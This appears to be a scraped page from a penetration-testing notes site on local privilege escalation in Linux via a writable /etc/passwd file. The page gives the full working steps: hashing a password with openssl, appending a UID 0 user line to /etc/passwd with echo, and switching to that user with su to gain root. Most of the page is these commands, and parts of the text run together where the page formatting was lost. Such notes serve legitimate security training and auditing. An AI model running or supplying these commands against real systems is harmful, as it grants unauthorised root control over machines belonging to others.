Password Authentication
The /etc/passwd file can contain password hashes directly instead of an x, indicating that the password hash is stored in /etc/shadow. If /etc/passwd is writable, it allows the creation of arbitrary users with root privileges.
generate a hash using
openssl
openssl passwd <password>Edit the
/etc/passwdfile
echo "<new_username>:<hash>:0:0:root:/root:/bin/bash" >> /etc/passwdLogin to the newly created user with root previliges
su <new_username>References
Last updated
